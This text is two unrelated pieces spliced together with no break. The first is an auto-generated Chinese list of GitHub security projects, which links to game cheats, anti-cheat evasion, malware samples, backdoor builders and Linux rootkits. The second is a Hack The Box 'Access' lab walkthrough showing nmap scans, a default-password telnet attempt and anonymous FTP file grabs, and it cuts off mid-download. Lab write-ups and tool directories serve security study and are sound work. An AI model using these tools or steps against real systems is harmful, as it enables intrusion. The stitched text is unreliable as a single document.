*** ## <a id="07f0c2cbf63c1d7de6f21fa43443ede3"></a>工具 - [**2457**星][2d] [C#] [netchx/netch](https://github.com/netchx/netch) 游戏加速器。支持:Socks5, Shadowsocks, ShadowsocksR, V2Ray 协议 - [**1148**星][4d] [C++] [crosire/reshade](https://github.com/crosire/reshade) A generic post-processing injector for games and video software. - [**1127**星][3m] [Py] [openai/neural-mmo](https://github.com/openai/neural-mmo) Code for the paper "Neural MMO: A Massively Multiagent Game Environment for Training and Evaluating Intelligent Agents" - [**1020**星][1m] [C] [bt3gl/pentesting-toolkit](https://github.com/bt3gl/Pentesting-Toolkit) 渗透测试,CTF和战争游戏的工具收集 - [**727**星][6m] [Assembly] [cirosantilli/x86-assembly-cheat](https://github.com/cirosantilli/x86-assembly-cheat) the bulk of the x86 instruction examples with assertions. - [**545**星][t] [C++] [danielkrupinski/osiris](https://github.com/danielkrupinski/osiris) 开源培训软件/“反恐精英:全球攻势”游戏作弊工具。设计为内部作弊-可将动态链接库(DLL)加载到游戏过程中 - [**522**星][3m] [Kotlin] [jire/charlatano](https://github.com/jire/charlatano) Proves JVM cheats are viable on native games, and demonstrates the longevity against anti-cheat signature detection systems - [**399**星][14d] [Py] [moloch--/rootthebox](https://github.com/moloch--/rootthebox) A Game of Hackers (CTF Scoreboard & Game Manager) - [**352**星][] [C#] [leaguesandbox/gameserver](https://github.com/leaguesandbox/gameserver) League Sandbox's Game Server - [**352**星][1m] [C] [liji32/sameboy](https://github.com/liji32/sameboy) Game Boy and Game Boy Color emulator written in C - [**300**星][] [C++] [squalr/squally](https://github.com/squalr/squally) 2D Platformer Game for Teaching Game Hacking - C++/cocos2d-x - [**265**星][18d] [C++] [niemand-sec/anticheat-testing-framework](https://github.com/niemand-sec/anticheat-testing-framework) Framework to test any Anti-Cheat - [**264**星][t] [C++] [fransbouma/injectablegenericcamerasystem](https://github.com/fransbouma/injectablegenericcamerasystem) This is a generic camera system to be used as the base for cameras for taking screenshots within games. The main purpose of the system is to hijack the in-game 3D camera by overwriting values in its camera structure with our own values so we can control where the camera is located, it's pitch/yaw/roll values, its FoV and the camera's look vector. - [**247**星][2d] [CSS] [steamdatabase/gametracking-dota2](https://github.com/steamdatabase/gametracking-dota2) - [**246**星][1y] [xcsh/unity-game-hacking](https://github.com/xcsh/unity-game-hacking) A guide for hacking unity games - [**224**星][6m] [JS] [pavanw3b/sh00t](https://github.com/pavanw3b/sh00t) Security Testing is not as simple as right click > Scan. It's messy, a tough game. What if you had missed to test just that one thing and had to regret later? Sh00t is a highly customizable, intelligent platform that understands the life of bug hunters and emphasizes on manual security testing. - [**215**星][6m] [C#] [erfg12/memory.dll](https://github.com/erfg12/memory.dll) C# Hacking library for making PC game trainers. - [**215**星][3m] [C] [xyzz/gamecard-microsd](https://github.com/xyzz/gamecard-microsd) microSD adapter for PlayStation Vita - [**214**星][4m] [C++] [eternityx/deadcell-csgo](https://github.com/eternityx/deadcell-csgo) Full source to the CS:GO cheat # <a id="09fa851959ff48f5667a2099c861eab8"></a>Malware&&恶意代码 *** ## <a id="e781a59e4f4daab058732cf66f77bfb9"></a>工具 - [**5195**星][11d] [Py] [mobsf/mobile-security-framework-mobsf](https://github.com/MobSF/Mobile-Security-Framework-MobSF) Mobile Security Framework (MobSF) is an automated, all-in-one mobile application (Android/iOS/Windows) pen-testing, malware analysis and security assessment framework capable of performing static and dynamic analysis. - 重复区段: [Android->工具->新添加的1](#63fd2c592145914e99f837cecdc5a67c) | - [**3369**星][8d] [C] [screetsec/thefatrat](https://github.com/screetsec/thefatrat) Thefatrat a massive exploiting tool : Easy tool to generate backdoor and easy tool to post exploitation attack like browser attack and etc . This tool compiles a malware with popular payload and then the compiled malware can be execute on windows, android, mac . The malware that created with this tool also have an ability to bypass most AV softw… - [**2459**星][3d] [PHP] [misp/misp](https://github.com/misp/misp) MISP (core software) - Open Source Threat Intelligence and Sharing Platform (formely known as Malware Information Sharing Platform) - [**1433**星][1y] [TS] [pedronauck/reworm](https://github.com/pedronauck/reworm) - [**1268**星][4d] [Shell] [mitchellkrogza/nginx-ultimate-bad-bot-blocker](https://github.com/mitchellkrogza/nginx-ultimate-bad-bot-blocker) Nginx Block Bad Bots, Spam Referrer Blocker, Vulnerability Scanners, User-Agents, Malware, Adware, Ransomware, Malicious Sites, with anti-DDOS, Wordpress Theme Detector Blocking and Fail2Ban Jail for Repeat Offenders - [**1243**星][10m] [C] [a0rtega/pafish](https://github.com/a0rtega/pafish) Pafish is a demonstration tool that employs several techniques to detect sandboxes and analysis environments in the same way as malware families do. - [**1090**星][1m] [Go] [looterz/grimd](https://github.com/looterz/grimd) Fast dns proxy that can run anywhere, built to black-hole internet advertisements and malware servers. - [**1084**星][2m] [PHP] [nbs-system/php-malware-finder](https://github.com/nbs-system/php-malware-finder) Detect potentially malicious PHP files - [**1017**星][5d] [Rich Text Format] [decalage2/oletools](https://github.com/decalage2/oletools) oletools - python tools to analyze MS OLE2 files (Structured Storage, Compound File Binary Format) and MS Office documents, for malware analysis, forensics and debugging. - [**930**星][4m] [Py] [airbnb/binaryalert](https://github.com/airbnb/binaryalert) 实时恶意代码检测,无需服务器 - [**800**星][3m] [sh4hin/androl4b](https://github.com/sh4hin/androl4b) 用于评估Android应用程序,逆向工程和恶意软件分析的虚拟机 - 重复区段: [Android->工具->新添加的1](#63fd2c592145914e99f837cecdc5a67c) | - [**779**星][2m] [Py] [gosecure/malboxes](https://github.com/gosecure/malboxes) Builds malware analysis Windows VMs so that you don't have to. - [**713**星][6d] [Py] [sevagas/macro_pack](https://github.com/sevagas/macro_pack) 自动生成并混淆MS 文档, 用于渗透测试、演示、社会工程评估等 - [**682**星][30d] [Py] [rurik/noriben](https://github.com/rurik/noriben) Portable, Simple, Malware Analysis Sandbox - [**662**星][8m] [Shell] [rfxn/linux-malware-detect](https://github.com/rfxn/linux-malware-detect) Linux Malware Detection (LMD) - [**653**星][26d] [YARA] [eset/malware-ioc](https://github.com/eset/malware-ioc) Indicators of Compromises (IOC) of our various investigations - [**619**星][] [Py] [eliasgranderubio/dagda](https://github.com/eliasgranderubio/dagda) Docker安全套件 - [**600**星][5m] [fabrimagic72/malware-samples](https://github.com/fabrimagic72/malware-samples) 恶意软件样本 - [**574**星][2m] [HTML] [gwillem/magento-malware-scanner](https://github.com/gwillem/magento-malware-scanner) 用于检测 Magento 恶意软件的规则/样本集合 - [**563**星][3m] [Py] [certsocietegenerale/fame](https://github.com/certsocietegenerale/fame) 自动化恶意代码评估 - [**536**星][2m] [Py] [tencent/habomalhunter](https://github.com/tencent/habomalhunter) HaboMalHunter is a sub-project of Habo Malware Analysis System ( - [**494**星][1m] [C] [hasherezade/demos](https://github.com/hasherezade/demos) Demos of various injection techniques found in malware - [**493**星][5d] [Py] [ctxis/cape](https://github.com/ctxis/cape) Malware Configuration And Payload Extraction - [**417**星][4m] [Py] [misterch0c/malsploitbase](https://github.com/misterch0c/malsploitbase) Malware exploits - [**401**星][t] [C#] [collinbarrett/filterlists](https://github.com/collinbarrett/filterlists) independent, comprehensive directory of filter and host lists for advertisements, trackers, malware, and annoyances. - [**395**星][2m] [YARA] [guelfoweb/peframe](https://github.com/guelfoweb/peframe) PEframe is a open source tool to perform static analysis on Portable Executable malware and malicious MS Office documents. - [**393**星][6m] [JS] [capacitorset/box-js](https://github.com/capacitorset/box-js) A tool for studying JavaScript malware. - [**384**星][9d] [Py] [alexandreborges/malwoverview](https://github.com/alexandreborges/malwoverview) Malwoverview.py is a first response tool to perform an initial and quick triage in a directory containing malware samples, specific malware sample, suspect URL and domains. Additionally, it allows to download and send samples to main online sandboxes. - [**375**星][7m] [Py] [secrary/ssma](https://github.com/secrary/ssma) SSMA - Simple Static Malware Analyzer [This project is not maintained anymore] - [**375**星][] [Shell] [whonix/whonix](https://github.com/whonix/whonix) Whonix is an operating system focused on anonymity, privacy and security. It's based on the Tor anonymity network, Debian GNU/Linux and security by isolation. DNS leaks are impossible, and not even malware with root privileges can find out the user's real IP. - [**374**星][3m] [AngelScript] [inquest/malware-samples](https://github.com/inquest/malware-samples) A collection of malware samples and relevant dissection information, most probably referenced from - [**365**星][4m] [Py] [neo23x0/munin](https://github.com/neo23x0/munin) Online hash checker for Virustotal and other services - [**354**星][5m] [Py] [hasherezade/malware_analysis](https://github.com/hasherezade/malware_analysis) Various snippets created during malware analysis - [**342**星][9m] [Py] [iphelix/dnschef](https://github.com/iphelix/dnschef) DNS 代理,用于渗透测试和恶意代码分析 - [**337**星][8m] [Py] [rek7/fireelf](https://github.com/rek7/fireelf) Fileless Linux Malware Framework - [**332**星][20d] [Py] [fireeye/stringsifter](https://github.com/fireeye/stringsifter) A machine learning tool that ranks strings based on their relevance for malware analysis. - [**331**星][t] [Batchfile] [mitchellkrogza/ultimate.hosts.blacklist](https://github.com/mitchellkrogza/ultimate.hosts.blacklist) The Ultimate Unified Hosts file for protecting your network, computer, smartphones and Wi-Fi devices against millions of bad web sites. Protect your children and family from gaining access to bad web sites and protect your devices and pc from being infected with Malware or Ransomware. - [**326**星][1y] [C++] [m0n0ph1/process-hollowing](https://github.com/m0n0ph1/process-hollowing) Great explanation of Process Hollowing (a Technique often used in Malware) - [**317**星][1m] [C#] [malware-dev/mdk-se](https://github.com/malware-dev/mdk-se) Malware's Development Kit for SE - [**305**星][5m] [JS] [hynekpetrak/malware-jail](https://github.com/hynekpetrak/malware-jail) Sandbox for semi-automatic Javascript malware analysis, deobfuscation and payload extraction. Written for Node.js - [**301**星][12m] [Assembly] [guitmz/virii](https://github.com/guitmz/virii) Collection of ancient computer virus source codes - [**301**星][5d] [Shell] [mitchellkrogza/apache-ultimate-bad-bot-blocker](https://github.com/mitchellkrogza/apache-ultimate-bad-bot-blocker) Apache Block Bad Bots, (Referer) Spam Referrer Blocker, Vulnerability Scanners, Malware, Adware, Ransomware, Malicious Sites, Wordpress Theme Detectors and Fail2Ban Jail for Repeat Offenders - [**292**星][10d] [PHP] [phpmussel/phpmussel](https://github.com/phpmussel/phpmussel) PHP-based anti-virus anti-trojan anti-malware solution. - [**285**星][7m] [Java] [katjahahn/portex](https://github.com/katjahahn/portex) Java library to analyse Portable Executable files with a special focus on malware analysis and PE malformation robustness - [**283**星][8m] [Py] [phage-nz/ph0neutria](https://github.com/phage-nz/ph0neutria) ph0neutria is a malware zoo builder that sources samples straight from the wild. Everything is stored in Viper for ease of access and manageability. - [**278**星][8m] [C] [rieck/malheur](https://github.com/rieck/malheur) A Tool for Automatic Analysis of Malware Behavior - [**273**星][2m] [JS] [hynekpetrak/javascript-malware-collection](https://github.com/hynekpetrak/javascript-malware-collection) Collection of almost 40.000 javascript malware samples - [**262**星][2m] [Py] [felixweyne/imaginaryc2](https://github.com/felixweyne/imaginaryc2) Imaginary C2 is a python tool which aims to help in the behavioral (network) analysis of malware. Imaginary C2 hosts a HTTP server which captures HTTP requests towards selectively chosen domains/IPs. Additionally, the tool aims to make it easy to replay captured Command-and-Control responses/served payloads. - [**259**星][1m] [Py] [diogo-fernan/malsub](https://github.com/diogo-fernan/malsub) A Python RESTful API framework for online malware analysis and threat intelligence services. - [**256**星][10m] [C++] [ramadhanamizudin/malware](https://github.com/ramadhanamizudin/malware) Malware Samples. Uploaded to GitHub for those want to analyse the code. Code mostly from: - [**241**星][8m] [C++] [mstfknn/malware-sample-library](https://github.com/mstfknn/malware-sample-library) Malware sample library. - [**240**星][2m] [Py] [a3sal0n/falcongate](https://github.com/a3sal0n/falcongate) A smart gateway to stop hackers and Malware attacks - [**240**星][7d] [Shell] [essandess/macos-fortress](https://github.com/essandess/macos-fortress) Firewall and Privatizing Proxy for Trackers, Attackers, Malware, Adware, and Spammers with Anti-Virus On-Demand and On-Access Scanning (PF, squid, privoxy, hphosts, dshield, emergingthreats, hostsfile, PAC file, clamav) - [**237**星][3m] [C++] [richkmeli/richkware](https://github.com/richkmeli/richkware) Framework for building Windows malware, written in C++ - [**233**星][2m] [C] [elfmaster/libelfmaster](https://github.com/elfmaster/libelfmaster) Secure ELF parsing/loading library for forensics reconstruction of malware, and robust reverse engineering tools - [**220**星][15d] [Py] [wazuh/wazuh-ruleset](https://github.com/wazuh/wazuh-ruleset) ruleset is used to detect attacks, intrusions, software misuse, configuration problems, application errors, malware, rootkits, system anomalies or security policy violations. - [**219**星][8d] [JS] [strangerealintel/cyberthreatintel](https://github.com/strangerealintel/cyberthreatintel) Analysis of malware and Cyber Threat Intel of APT and cybercriminals groups - [**211**星][2m] [Py] [eset/malware-research](https://github.com/eset/malware-research) 恶意代码分析中用到的代码/工具 - [**207**星][5m] [YARA] [th3hurrican3/pepper](https://github.com/th3hurrican3/pepper) An open source script to perform malware static analysis on Portable Executable - [**202**星][24d] [Py] [doomedraven/virustotalapi](https://github.com/doomedraven/virustotalapi) VirusTotal Full api - [**200**星][2m] [C++] [secrary/drsemu](https://github.com/secrary/drsemu) 根据动态行为检测恶意代码并进行分类 # <a id="5fdcfc70dd87360c2dddcae008076547"></a>Rootkit&&Bootkit *** ## <a id="b8d6f237c04188a10f511cd8988de28a"></a>工具 - [**1527**星][19d] [Py] [zerosum0x0/koadic](https://github.com/zerosum0x0/koadic) 类似于Meterpreter、Powershell Empire 的post-exploitation rootkit,区别在于其大多数操作都是由 Windows 脚本主机 JScript/VBScript 执行 - [**1200**星][10m] [C] [f0rb1dd3n/reptile](https://github.com/f0rb1dd3n/reptile) LKM Linux rootkit - [**724**星][9m] [C] [mempodippy/vlany](https://github.com/mempodippy/vlany) Linux LD_PRELOAD rootkit (x86 and x86_64 architectures) - [**587**星][6m] [d30sa1/rootkits-list-download](https://github.com/d30sa1/rootkits-list-download) Rootkit收集 - [**511**星][6m] [C] [nurupo/rootkit](https://github.com/nurupo/rootkit) Linux rootkit,针对 Ubuntu 16.04 及 10.04 (Linux 内核 4.4.0/2.6.32), 支持 i386 和 amd64 - [**501**星][2m] [C] [m0nad/diamorphine](https://github.com/m0nad/diamorphine) 适用于Linux Kernels 2.6.x / 3.x / 4.x(x86和x86_64)的LKM rootkit - [**429**星][1y] [C] [novicelive/research-rootkit](https://github.com/novicelive/research-rootkit) LibZeroEvil & the Research Rootkit project. - [**391**星][2m] [milabs/awesome-linux-rootkits](https://github.com/milabs/awesome-linux-rootkits) awesome-linux-rootkits - [**378**星][3m] [Shell] [screetsec/vegile](https://github.com/screetsec/vegile) This tool will setting up your backdoor/rootkits when backdoor already setup it will be hidden your spesisifc process,unlimited your session in metasploit and transparent. Even when it killed, it will re-run again. There always be a procces which while run another process,So we can assume that this procces is unstopable like a Ghost in The Shell - [**264**星][9m] [C] [landhb/hideprocess](https://github.com/landhb/hideprocess) A basic Direct Kernel Object Manipulation rootkit that removes a process from the EPROCESS list, hiding it from the Task Manager *** ## <a id="8645e29263f0886344127d352ebd6884"></a>文章 - 2019.12 [freebuf] [AntiSpy:一款功能强大的反病毒&反Rootkit免费工具套件](https://www.freebuf.com/articles/system/221820.html) - 2019.12 [jm33] [Linux Rootkit for Fun and Profit - 0x03 - LKM - Hide from ss/netstat](https://jm33.me/linux-rootkit-for-fun-and-profit-0x03-lkm-hide-from-ssnetstat.html) - 2019.12 [jm33] [Linux Rootkit for Fun and Profit - 0x02 - LKM - Hide files/procs](https://jm33.me/linux-rootkit-for-fun-and-profit-0x02-lkm-hide-filesprocs.html) - 2019.12 [jm33] [Linux Rootkit for Fun and Profit - 0x02 - LKM](https://jm33.me/linux-rootkit-for-fun-and-profit-0x02-lkm.html) - 2019.12 [jm33] [Linux Rootkit for Fun and Profit - 0x01 - LKM](https://jm33.me/linux-rootkit-for-fun-and-profit-0x01-lkm.html) - 2019.12 [jm33] [Linux Rootkit for Fun and Profit - 0x00 - Design](https://jm33.me/linux-rootkit-for-fun-and-profit-0x00-design.html) - 2019.11 [hakin9] [Antispy - A Free But Powerful Anti Virus And Rootkits Toolkit](https://hakin9.org/antispy-a-free-but-powerful-anti-virus-and-rootkits-toolkit/) - 2019.10 [HackersOnBoard] [Black Hat USA 2016 Horse Pill A New Type of Linux Rootkit](https://www.youtube.com/watch?v=RcYcJarMVWI) - 2019.10 [Kaspersky] [Rootkit Detection and Removal](https://www.youtube.com/watch?v=goyiuyA-Ckw) - 2019.09 [infosecinstitute] [Malware: What are rootkits?](https://resources.infosecinstitute.com/malware-what-are-rootkits/) - 2019.09 [trendmicro] [Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload](https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/) - 2019.08 [KindredSecurity] [Live Malware Analysis | Checking out a User-land Rootkit](https://www.youtube.com/watch?v=FvYjM8eZ7Ck) - 2019.06 [aliyun] [威胁快报|挖矿团伙8220进化,rootkit挖矿趋势兴起](https://xz.aliyun.com/t/5482) - 2019.06 [4hou] [威胁快报 | 挖矿团伙8220进化,rootkit挖矿趋势兴起](https://www.4hou.com/system/18409.html) - 2019.05 [4hou] [使用Rootkit实现恶意挖矿:CVE-2019-3396漏洞新型恶意利用方式分析](https://www.4hou.com/vulnerable/17918.html) - 2019.05 [trendmicro] [CVE-2019-3396 Redux: Confluence Vulnerability Exploited to Deliver Cryptocurrency Miner With Rootkit](https://blog.trendmicro.com/trendlabs-security-intelligence/cve-2019-3396-redux-confluence-vulnerability-exploited-to-deliver-cryptocurrency-miner-with-rootkit/) - 2019.04 [h2hconference] [Linux Kernel Rootkits - Matveychikov & f0rb1dd3n - H2HC 2018](https://www.youtube.com/watch?v=8_0_FT-rKfw) - 2019.04 [mediacccde] [Easterhegg 2019 - Anatomie eines containerfähigen Linux-Kernel-Rootkits](https://www.youtube.com/watch?v=4sPAYgR29E4) - 2019.04 [freebuf] [BUF早餐铺 | Scranos rootkit从中国扩散到全世界;厄瓜多尔政府和机构网站遭到4千万次攻击;国家网信办启动小众即时通信工具专项整治](https://www.freebuf.com/news/201305.html) - 2019.01 [fuzzysecurity] [Capcom Rootkit Proof-Of-Concept](http://fuzzysecurity.com/tutorials/28.html) # <a id="069468057aac03c102abdbeb7a5decf6"></a>硬件 *** ## <a id="3574d46dd09566f898b407cebe9df29b"></a>固件 ### <a id="649d2aece91551af8b48d29f52943804"></a>Firmware&&固件 - [**6213**星][6m] [rmerl/asuswrt-merlin](https://github.com/rmerl/asuswrt-merlin) Enhanced version of Asus's router firmware (Asuswrt) (legacy code base) - [**3772**星][5d] [C] [atmosphere-nx/atmosphere](https://github.com/atmosphere-nx/atmosphere) Atmosphère is a work-in-progress customized firmware for the Nintendo Switch. - [**3247**星][] [C] [betaflight/betaflight](https://github.com/betaflight/betaflight) Open Source Flight Controller Firmware - [**3166**星][6d] [C++] [px4/firmware](https://github.com/px4/firmware) PX4 Autopilot Software - [**2834**星][18d] [C] [tmk/tmk_keyboard](https://github.com/tmk/tmk_keyboard) Atmel AVR 和 Cortex-M键盘固件收集 - [**2282**星][2m] [C] [aurorawright/luma3ds](https://github.com/aurorawright/luma3ds) Noob-proof (N)3DS "Custom Firmware" - [**1473**星][2d] [C] [tianocore/edk2](https://github.com/tianocore/edk2) A modern, feature-rich, cross-platform firmware development environment for the UEFI and PI specifications - [**797**星][5d] [C] [fwupd/fwupd](https://github.com/fwupd/fwupd) A simple daemon to allow session software to update firmware - [**634**星][6m] [C] [travisgoodspeed/md380tools](https://github.com/travisgoodspeed/md380tools) Python tools and patched firmware for the TYT-MD380 - [**421**星][5m] [preos-security/awesome-firmware-security](https://github.com/preos-security/awesome-firmware-security) Awesome Firmware Security & Other Helpful Documents - [**381**星][3d] [Py] [fkie-cad/fact_core](https://github.com/fkie-cad/fact_core) Firmware Analysis and Comparison Tool - [**294**星][5m] [C++] [rampagex/firmware-mod-kit](https://github.com/rampagex/firmware-mod-kit) Automatically exported from code.google.com/p/firmware-mod-kit - [**281**星][2m] [Py] [pspreverse/psptool](https://github.com/PSPReverse/psptool) Display, extract, and manipulate PSP firmware inside UEFI images - [**243**星][10d] [Py] [avatartwo/avatar2](https://github.com/avatartwo/avatar2) targetorchestration 框架,重点是嵌入式设备固件的动态分析 - [**234**星][12m] [C] [reisyukaku/reinand](https://github.com/reisyukaku/reinand) Minimalist 3DS custom firmware. ### <a id="fff92e7d304e2c927ef3530f4d327456"></a>Intel - [**510**星][2m] [Py] [platomav/meanalyzer](https://github.com/platomav/meanalyzer) Intel Engine Firmware Analysis Tool - [**465**星][1y] [Py] [ptresearch/unme11](https://github.com/ptresearch/unme11) Intel ME 11.x Firmware Images Unpacker # <a id="948dbc64bc0ff4a03296988574f5238c"></a>Crypto&&加密&&算法 *** ## <a id="a6b0a9b9184fd78c8b87ccfe48a8e544"></a>工具 - [**2374**星][2m] [TeX] [crypto101/book](https://github.com/crypto101/book) Crypto 101, the introductory book on cryptography. - [**1653**星][6d] [Go] [bitnami-labs/sealed-secrets](https://github.com/bitnami-labs/sealed-secrets) A Kubernetes controller and tool for one-way encrypted Secrets - [**1484**星][25d] [C++] [microsoft/seal](https://github.com/microsoft/seal) Microsoft SEAL is an easy-to-use and powerful homomorphic encryption library. - [**832**星][5d] [Haskell] [galoisinc/cryptol](https://github.com/galoisinc/cryptol) The Language of Cryptography - [**773**星][1y] [pfarb/awesome-crypto-papers](https://github.com/pfarb/awesome-crypto-papers) A curated list of cryptography papers, articles, tutorials and howtos. - [**693**星][5m] [C++] [stealth/opmsg](https://github.com/stealth/opmsg) opmsg message encryption - [**673**星][4d] [Java] [google/conscrypt](https://github.com/google/conscrypt) Conscrypt is a Java Security Provider that implements parts of the Java Cryptography Extension and Java Secure Socket Extension. - [**482**星][3m] [C] [microsoft/symcrypt](https://github.com/microsoft/symcrypt) Cryptographic library - [**469**星][21d] [C] [skeeto/enchive](https://github.com/skeeto/enchive) Encrypted personal archives - [**467**星][4m] [miscreant/meta](https://github.com/miscreant/meta) 具备错误使用抗性的(Misuse-resistant )对称加密库,支持 AES-SIV (RFC5297) 和 CHAIN/STREAM - [**433**星][2m] [Go] [gorilla/securecookie](https://github.com/gorilla/securecookie) Package gorilla/securecookie encodes and decodes authenticated and optionally encrypted cookie values for Go web applications. - [**381**星][18d] [C++] [msoos/cryptominisat](https://github.com/msoos/cryptominisat) An advanced SAT solver - [**350**星][8m] [Haskell] [jpmorganchase/constellation](https://github.com/jpmorganchase/constellation) Peer-to-peer encrypted message exchange - [**341**星][1m] [Shell] [umputun/nginx-le](https://github.com/umputun/nginx-le) Nginx with automatic let's encrypt (docker image) - [**330**星][10d] [Py] [efforg/starttls-everywhere](https://github.com/efforg/starttls-everywhere) A system for ensuring & authenticating STARTTLS encryption between mail servers - [**326**星][6m] [JS] [hr/crypter](https://github.com/hr/crypter) An innovative, convenient and secure cross-platform encryption app - [**309**星][1m] [C] [jhuisi/charm](https://github.com/jhuisi/charm) A Framework for Rapidly Prototyping Cryptosystems - [**268**星][5d] [Py] [nucypher/nucypher](https://github.com/nucypher/nucypher) A decentralized network offering accessible, intuitive, and extensible cryptographic runtimes and interfaces for secrets management and dynamic access control. - [**253**星][13d] [C] [icing/mod_md](https://github.com/icing/mod_md) Let's Encrypt (ACME) support for Apache httpd - [**248**星][26d] [C++] [evpo/encryptpad](https://github.com/evpo/encryptpad) Minimalist secure text editor and binary encryptor that implements RFC 4880 Open PGP format: symmetrically encrypted, compressed and integrity protected. The editor can protect files with passwords, key files or both. - [**233**星][8m] [C] [ctz/cifra](https://github.com/ctz/cifra) A collection of cryptographic primitives targeted at embedded use. - [**224**星][12m] [C] [gkdr/lurch](https://github.com/gkdr/lurch) XEP-0384: OMEMO Encryption for libpurple. - [**224**星][2d] [C] [libyal/libfvde](https://github.com/libyal/libfvde) Library and tools to access FileVault Drive Encryption (FVDE) encrypted volumes - [**224**星][13d] [vixentael/my-talks](https://github.com/vixentael/my-talks) List of my talks and workshops: security engineering, applied cryptography, secure software development - [**221**星][3m] [Go] [cloudflare/tls-tris](https://github.com/cloudflare/tls-tris) crypto/tls, now with 100% more 1.3. THE API IS NOT STABLE AND DOCUMENTATION IS NOT GUARANTEED. - [**215**星][11d] [C] [hypersine/how-does-navicat-encrypt-password](https://github.com/HyperSine/how-does-navicat-encrypt-password) Transferred from - [**211**星][5m] [Py] [nucypher/nufhe](https://github.com/nucypher/nufhe) NuCypher fully homomorphic encryption (NuFHE) library implemented in Python - [**202**星][5m] [TeX] [decrypto-org/rupture](https://github.com/decrypto-org/rupture) A framework for BREACH and other compression-based crypto attacks - [**201**星][3d] [anudeepnd/blacklist](https://github.com/anudeepnd/blacklist) Curated and well-maintained host file to block ads, tracking, cryptomining and more! Updated regularly. # 贡献 内容为系统自动导出, 有任何问题请提issue
# Access URL: https://app.hackthebox.com/machines/Access Level: Easy Date 7 May 2021 ## Walkthrough - [Enumeration](#enumeration) - [User flag](#user-flag) - [Privesc](#privesc) # Enumeration ## NMAP Let's start with a basic nmap scan: ``` # Nmap 7.91 scan initiated Fri May 7 23:48:44 2021 as: nmap -T4 -p- -oN 01_nmap.txt 10.10.10.98 Nmap scan report for 10.10.10.98 Host is up (0.044s latency). Not shown: 65532 filtered ports PORT STATE SERVICE 21/tcp open ftp 23/tcp open telnet 80/tcp open http # Nmap done at Fri May 7 23:50:24 2021 -- 1 IP address (1 host up) scanned in 99.94 seconds ``` We got 3 open ports. Let's check again with -A: ``` # Nmap 7.91 scan initiated Fri May 7 23:50:43 2021 as: nmap -T4 -A -p21,23,80 -oN 02_nmap.txt 10.10.10.98 Nmap scan report for 10.10.10.98 Host is up (0.044s latency). PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_Can't get directory listing: PASV failed: 425 Cannot open data connection. | ftp-syst: |_ SYST: Windows_NT 23/tcp open telnet? 80/tcp open http Microsoft IIS httpd 7.5 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/7.5 |_http-title: MegaCorp Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|phone|specialized Running (JUST GUESSING): Microsoft Windows 8|Phone|2008|8.1|7|Vista|2012 (92%) OS CPE: cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_server_2012:r2 Aggressive OS guesses: Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Phone 7.5 or 8.0 (92%), Microsoft Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 or Windows 8.1 (91%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (91%), Microsoft Windows 7 (91%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (91%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (91%), Microsoft Windows Embedded Standard 7 (91%), Microsoft Windows Server 2008 (90%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows TRACEROUTE (using port 80/tcp) HOP RTT ADDRESS 1 42.56 ms 10.10.14.1 2 43.23 ms 10.10.10.98 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri May 7 23:54:08 2021 -- 1 IP address (1 host up) scanned in 205.25 seconds ``` Web page: ![2](https://user-images.githubusercontent.com/42389836/156879811-5937dfe3-79e7-4714-bd62-91ce4f4acc5e.png) We did a simple Google research ("LON-MC6"): ``` https://loginlocator.com/lon-mc6/ The default username for your Echelon i.LON 600 is ilon. The default password is ilon. ``` Let's try `telnet` access: ``` root@kali:/opt/htb/Access# telnet 10.10.10.98 Trying 10.10.10.98... Connected to 10.10.10.98. Escape character is '^]'. user ilon Welcome to Microsoft Telnet Service login: ilon password: The handle is invalid. Login Failed login: login: ilon password: The handle is invalid. Login Failed login: ilon password: The handle is invalid. Login Failed Telnet Server has closed the connection Connection closed by foreign host. ``` No luck. Since anonymous FTP access is allowed, we grab some file: ``` root@kali:/opt/htb/Access# ftp 10.10.10.98 Connected to 10.10.10.98. 220 Microsoft FTP Service Name (10.10.10.98:root): anonymous 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 User logged in. Remote system type is Windows_NT. ftp> dir 200 PORT command successful. 125 Data connection already open; Transfer starting. 08-23-18 09:16PM <DIR> Backups 08-24-18 10:00PM <DIR> Engineer 226 Transfer complete. ftp> cd Backups 250 CWD command successful. ftp> dir 200 PORT command successful. 125 Data connection already open; Transfer starting. 08-23-18 09:16PM 5652480 backup.mdb 226 Transfer complete. ftp> binary 200 Type set to I. ftp> hash Hash mark printing on (1024 bytes/hash mark). ftp> get backup.mdb local: backup.mdb remote: backup.mdb 200 PORT command successful. 125 Data connection already open; Transfer starting. ############################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################### 226 Transfer complete. 5652480 bytes received in 3.07 secs (1.7553 MB/s) ftp> cd .. 250 CWD command successful. ftp> cd engineer 250 CWD command successful. ftp> dir 200 PORT command successful. 125 Data connection already open; Transfer starting. 08-24-18 01:16AM 10870 Access Control.zip 226 Transfer complete. ftp> get "Access Control.zip" local: Access Control.zip remote: Access Control.zip 200 PORT command successful. 125 Data connection already open; Transfer starting. ########## 226 